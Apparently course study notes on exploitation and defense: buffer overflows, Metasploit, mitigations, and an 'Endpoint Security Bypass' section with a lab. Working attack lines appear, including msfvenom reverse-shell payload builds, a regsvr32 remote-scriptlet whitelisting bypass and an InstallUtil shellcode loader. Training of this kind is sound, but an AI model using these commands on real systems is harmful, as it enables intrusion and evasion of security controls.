In 2009, Microsoft released an automated crash-analysis tool called !exploitable that estimates how exploitable an given flaw is. It is free to get at http://msecdbg.codeplex.com.  
  
  
  
What to Cram?  
Usually attackers cram a series of the character "A" into all input. But, anything with a repeating pattern that can be observed is OK.  
Cram away, using increasing sequences of the "A" character into every input. Try environment variables, every field sent in the network, GUI fields, command-line options, menus, administrative interfaces.  
To find which of the As made it crash, they enter input of cyclic patterns or other unique text and look for the characters that eneded up in the RP. This helps them pinpoint the exact offset for the return pointer.  
  
  
  
  
Step 2) Push Exploit Code into Memory  
The exploit is an arbitrary command to be executed in the context and with the permissions of the vulnerable program.   
Overflows in SUID root programs and processes running as UID are special prized in UNIX/Linux.  
Overflows in SYSTEM-level processes are treasured by attackers in Windows.  
  
Exploit is in machine language.  
Tailored specifically to the processor architecture.  
Exploit must conform to the operating system.  
Usually, a system call on the victim machine.  
  
  
Additional Characteristics of the Exploit:  
It is helpful to have small exploit code that it fits into the buffer.  
The raw machine language must not contain anything equivalent to characters that are filtered out or would impact string operations.  
For example, an ASCII null (0x00) in the code stops a vulnerable strcpy from writing all the exploits to the stack. Attackers may need to encode the exploit to avoid filtering.  
  
Step 3) Setting the Return Pointer  
This is probably the most difficult part of creating a buffer overflow exploit.  
The attacker doesn't know exactl which memory location the executable code is at. Much of this depends on how the target program was compiled. Also, some of it is determined at runtime.  
Guess what the return pointer should be. Looking at the source code helps. Even with a debugger, you can analyze the code and get an estimate of how much space is included between the buffer and the return pointer.  
  
Improving the Odds that the RP will be OK  
Include NOPs in advance of the executable code.  
Then if your printer goes to the NOPs, nothing happens. Execution continues down the stack until it gets to your instructions. NOPs can be used to detect these attacks on the network.  
  
The package that contains the NOP sled, the attacker machine code, and return pointer is something called an egg.  
  
  
  
Metasploit  
  
Regular updates followed by an entire community of developers continuously working on new modules.  
Runs on Windows, Linux, BSD and MacOSX.  
It is a modular tool, tying together exploit, payload and targeting system.Exploit and payload development packages. Other computer attacks, including scanning and evasion tactics.  
  
  
An exploit takes advantage of a flaw in a target program.   
The payload makes the target do something the attacker wants.  
Auxiliary modules perform all kinds of tasks, including scanning.  
A post module is used in post-exploitation to plunder targets or manipulate them.  
  
  
Metasploit is console, command line and GUI interface.  
New exploits released on a regular basis, for a total of over 1,000 exploits.  
It has exploits for Windows services, Windows client software (browsers, document reading tools, runtime), Unix Services, Web servers and much more.A number of exploits target mobil devices.  
  
  
Many payloads to choose from, both 32 and 64 bit. All payloads can be exported in many different formats (macros, executables (Windows, Linux and mobile devices), web components, raw C, Perl and Ruby code).  
  
  
The Meterpreter doesn't create separate process (no extraneous cmd.exe), doesn't touch hard drive unless you want it to, doesn't need any system-provided command executables for its command shell; they are built-in to the Meterpreter, easily extendable by adding new DLLs. Meterpreter originally released for Windows targets, PHP Meterpreter has been released for website targets, meterpreters for Linux, Android and Java also included.  
  
Includes these features: display system-related information, interact with the file system (cd, ls, upload, download, etc), interact with the network (display network config, build port relay), interact with processes on the target (execute: run a process), Kill (terminate one or more processes), PS (list processes)), meterpreter communications utilize TLS (encrypts them, which makes them more difficult to detect).  
  
MultiSession support for multiple targets. In-memory process migration. Disabling keyboard and mouse input, keystroke logging from within the Meterpreter, snigging from withing the Meterpreter, multiple encoders for exploit and payload for IDS evasion, pivoting to use one compromised system to attack other machines, priv modules for altering all NTFS timestamps and dumping SAM database for cracking (extendable to include local privilege escalation attacks in the future), GPS and WebCam capabilities.  
  
  
MsfelfScan and MsfPeScan: search executables and libraries for machine language elements that could be a sign of vulnerabilities.  
  
  
Many features already built in simplify development. More than a thousand example exploits to learn and copy from. After an exploit is developed in the framework, it can use any payload already in the framework. If you develop in the framework, your exploit can be popped right into the Metasploit engine.  
  
Buffer Overflow Defense - Preparation:  
At a minimum, keep your systems patched.  
vendors frequently release patches for various programs that have buffer overflows. A robust patching process involves rapidly obtaining, testing and applying patches.  
Utilize host-based IPS that offers buffer overflow protection by: blocking certain calls into the kernel from certain applications, and offering additional memory protection to areas like the stack.  
Deploy application white listing software.  
  
Buffer Overflow Defenses - Build Time Preparation  
- Configure system so that no instructions can be retrieved from stack.  
- Stops some buffer overflows, but not all  
- may break some applications that do unusual things with the stack.  
- still useful on sensitive sytems.  
- grsecurity at www.grsecurity.net  
- PaX at pax.grsecurity.net  
- SELinux at http://selinuxproject.org  
- Microsoft Enhanced Mitigation Experience Toolkit (EMET) helps address vulnerabilities in third-party software. This is due to be replaced with another tool.  
  
  
  
Data Execution Prevention in Windows (DEP) for XP SP2 and later.  
  
Some compilers uses canaries to protect the return pointer. calculate a keyed hash of the RP and place it on the stack.  
When a function call finishes running, double-check that the return pointer and canary still match.  
If not, don't return from the function; crash gracefully.  
Windows 2003 and later, also includes a canary feature. There are three types of canaries: Random, XOR and Terminator.  
  
Buffer Overflow Defenses  
If you are a software developer, always check the size of the user input to make sure it fits, truncate data or give an error if it's too big, user input from GUI, network, command-line, environment variables...everywhere.  
  
C and C++ are the most important languages to be careful in, because they rely on the programmer to manage memory. Buffer overflows are possible in other languages, including Perl and Java, especially if such code is linked in with C libraries.  
  
Avoid programming mistakes. Know what buffer overflows are and avoid them.  
Awareness/training for developers (code reviews, make Windows developers read).  
Writing Secure Code 2 by Howard and Lebland. Make UNIX developers read. "Secure Programming for Linux and UNIX Howto" by David Wheeler.  
http://www.dwheelers.com/secure-programs/  
  
  
Code-Checking tools:  
Automated code-review tools can search for known weak functions and heuristic checks to see if buffer usage is OK.  
Free automated code-checking tools for C and C++ (RATS: Rough Auditing Tool for Security) and FlawFinder (www.dhweeler.com/flawfinder)  
  
Commercial code-analysis tools:  
Fortify Source Code Analyzer  
Coverity Static Analysis  
Klocwork Insight Pro  
GrammaTech's CodeSonar.  
  
Commercial binary-analysis tools:  
veracode.com  
  
Several dozen other static code-analysis tools are listed and described at:  
http://en.wikipedia.org/wiki/List\_of\_tools\_for\_static\_code\_analysis  
Additional Defenses - Preparation  
Stricly control outgoing traffic  
:  
- many companies just worry about incoming traffic  
- you must carefully filter both directions  
- utilize proxies for outbound traffic wherever possible; they give you a point of control and detection.  
- DNS, HTTP, HTTPS and especially careful with SSH.  
  
Start 'hunt teaming':  
- check for long URLs  
- check for DNS entries that are on known blacklists  
- check for beacon connections  
- check for odd services and .exes  
  
Webcast on topic (Seth Misenar and Eric Conrad):  
http://blip.tv/securityweekly/continuous-ownage-why-you-need-continuous-monitoring-6892115.  
  
Buffer Overflow Defenses:  
Identification:  
- unusual server crashes  
- execution of code from stack  
- IDS/IPS alerts  
- extra accounts appearing on sytem  
  
Containment:  
- deploy non-executable system attacks  
- patch other systems before they get whacked  
  
Eradication: apply patches when available  
- if system compromised as admin/root/ rebuild from original media and apply patches

Recovery:  
- carefully monitor system after it's back in production  
  
  
Parser Problems:  
  
- Protocol parsers are particular problems areas.  
- grab data from the network and parse it for an application.  
- the code breaking data down into components fields is often ripe with buffer overflow vulnerabilities.  
  
Flaws in these protocols parsers let the attacker get the privileges of the vulnerable program. These programs often run with root or system privileges.  
Based on lack of bounds, checks in protocol parsers.  
Often, an admin user (such as a network admin) runs protocol parsers to look at delay captured data. At that point, the attacker has administrative privileges on the network administrator's machine.  
  
Programs that open files also have parsers, many of which have buffer overflow flaws.  
By just reading a given file created by an attacker, the bad guy could crash an application or possibly execute commands; some applications that have a history of such flaws: Winzip, iTunes, WordPad, Symantec, Trend Micro, McAfee AV tools, EnCase, Sleuth Kit forensics software, Word, PowerPoint, Excel office tools, Adobe Reader, Acrobat, and Flash have such flaws.  
  
Be careful with programs that parse protocols and files.   
All network-using apps do.  
Most other file-reading apps do as well.  
Pay special attention to your sniffer tools and their associated analysis programs.  
Usually installed on sensitive networks (DMZ, data centers) to monitor.  
Wherever you have WireShark, Snort, tcpdump, NetMon, or any other sniffer installed, make sure you keep patches up-to-date!  
  
3.9 Endpoint Security Bypass  
Exernal Access  
95%+ of all infections come from a user clicking on something or getting phished.  
Can't we just say that most attackers just "Phish and be done?"  
But there's much more:  
AV Bypass, Application Whitelisting Bypass, AN\_NG Bypass Tricks, Non-attribution.  
Constantly changing - More of an art really!  
  
  
Creating Malware: MSFVenom  
Many attackers today are still very focused on 32-bit payloads.  
- why wouldn't they? If most likely will work on 64 and 32 bit machines  
However, the vast majority of environments we test are 64bit systems.  
And, AV vendors are getting pretty good at detecting 32bit payloads. Ok, they are getting 'better' not necessarily 'good.  
64bit options in Metasploit offer a large number of invastion opportunities.  
Let's look a bit at -f exe-only.  
  
#msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=443 -x templates/write\_x64.exe -f exe -o msf64\_rtcp443.exe  
  
#msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.10.10.10 LPORT=443 -x templates/write\_x64.exe -f exe-only -o msf64\_rtcp443\_only.exe  
  
Creating malware: Macros  
  
Word macros are all the rage these days.  
And for the past 10+ years.  
However, some users are getting warry of any macros in Word documents.  
Why not use PowerPoint?  
- because it does not support Auto\_Open nor Workbook\_Open  
- there will be another prompt for the user.  
- two prompts = low probability of success.  
One way is to create events for malware triggering (mouseover or clicking).  
We can also use Run\_On\_Open!  
  
  
Create Evil Macros!!!  
Veil-Evasion is to bypass antivirus.  
  
There's Macro\_safe.py to the Rescue to arrange the code for us!  
Breaks long lines into smaller lines.  
str= str+ "STUF"  
Less likely to generate errors.  
  
Get it here:  
https://github.com/khrox4osh/MacroShop/blob/master/macro\_safe.py  
  
  
GhostWriting:  
- we can also roll up our sleeves and dive into Assembly  
- remain calm and don't panic  
- it is not that bad  
- an attacker can simply:  
1. create an .exe  
2. convert it to an .asm file  
3. edit the .asm file  
4. convert it back to an .exe file  
  
Big thanks to Royce Davis of Pentest Geek.  
  
Don't read assembly line by line, but Read in BLOCK of CODE!  
  
(revisit the Editing with Assembly video - SANS OnDemand\_10\_2.webm  
  
  
Application Whitelisting is the future.  
Attackers are starting to get used to it.  
The good old days of AV Blacklisting are at an end.  
May take a while to completely die...  
  
This is a good thing!  
Celebrate things getting harder for attackers.  
Let's talk about some techniques and approaches.  
They have worked in the past; they may not work in the future.  
Application whitelistist bypass is an art after all.  
  
Some techniques  
Backdoor factory is outstanding:  
https://github.com/secretsquirrel/the-back-door factory  
Joshua Pitts.  
Designed to backdoor existing executables.  
  
Uses Code Caves.  
Ebowla (environmental Keyed Payloads + golang).  
Multiple formats.  
  
Best blog for information.  
http://secureallthethings.blogspot.com  
  
Try code signing your malware  
http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html  
  
If you want to learn how to bypass AV, the GO language will help you with that. It is faster than Python.  
  
InstallUtil-ShellCode.cs  
Casey Smith @subTee . Follow him on Twitter.  
By pulling down InstallUtil-ShellCode.cs and inserting msfvenom (-f sharp) into it.  
  
Compile with the csc.exe tool.  
Effective because it does not need a full Visual Studio Environment.  
Walkthrough:  
http://www.blackhillinfosec.com/?p=4881  
@subTee here:  
http://subtox10.blogspot.com/?m=1  
  
example:  
InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe  
  
.sct files. From the 90s?  
Backdoor-Minimalist.sct  
  
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll  
  
yes, regsvr32 can take a url.  
It is Proxy aware. It will automatically use the systems current proxy configuration.  
Uses TLS  
- so all traffic is encrypted.  
Is a signed MS binary...  
So many applications whitelisting tools will allow it to run.  
In fact, regsvr32 is used by many legitimate applications.  
  
http://subtox10.blogspot.com/2016/04/bypass-application-whitelisting-script.html?m=1  
  
Attackers (and researchers) are exploiting these "grey areas" between "good" and "bad" executables to trigger their malware.  
  
Remember, that it's not about the tools that you buy for security, but it's about the architecture of the network and how it's configured!  
  
Analyzing the host: netstat and tasklist  
  
netstat -nao | find "EST"  
  
tasklist /fi "pid eq 5672"  
  
tasklist /fi "pid eq 5672" /m  
  
  
  
Analyze the Host: Sys events  
- and check for service names created on the computer. Event ID 7045 (for Windows 7 and 8). Sometimes they will have a weird name. Event ID 4672 is about special privileges assigned to the new logon.   
  
tasklist /fo "imagename eq calculator.exe"  
  
  
3.10 Lab Metasploit Attack and Analysis  
execute -f cmd.exe -H -i  
  
- the psexec module is one of the most useful modules in all of Metasploit, because it lets us run code on a target with SYSTEM privileges using an SMB connection established with admin credentials. It is especially useful in a fully patched Windows intranet environment.  
  
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse\_tcp lhost=10.10.75.1 lport=4444 -f exe -o /tmp/meterpreter.exe  
  
python -m "SimpleHTTPServer" &  
- now surf to it on the victim machine to download the meterpreter.exe file and run it!  
  
############### THE END ####################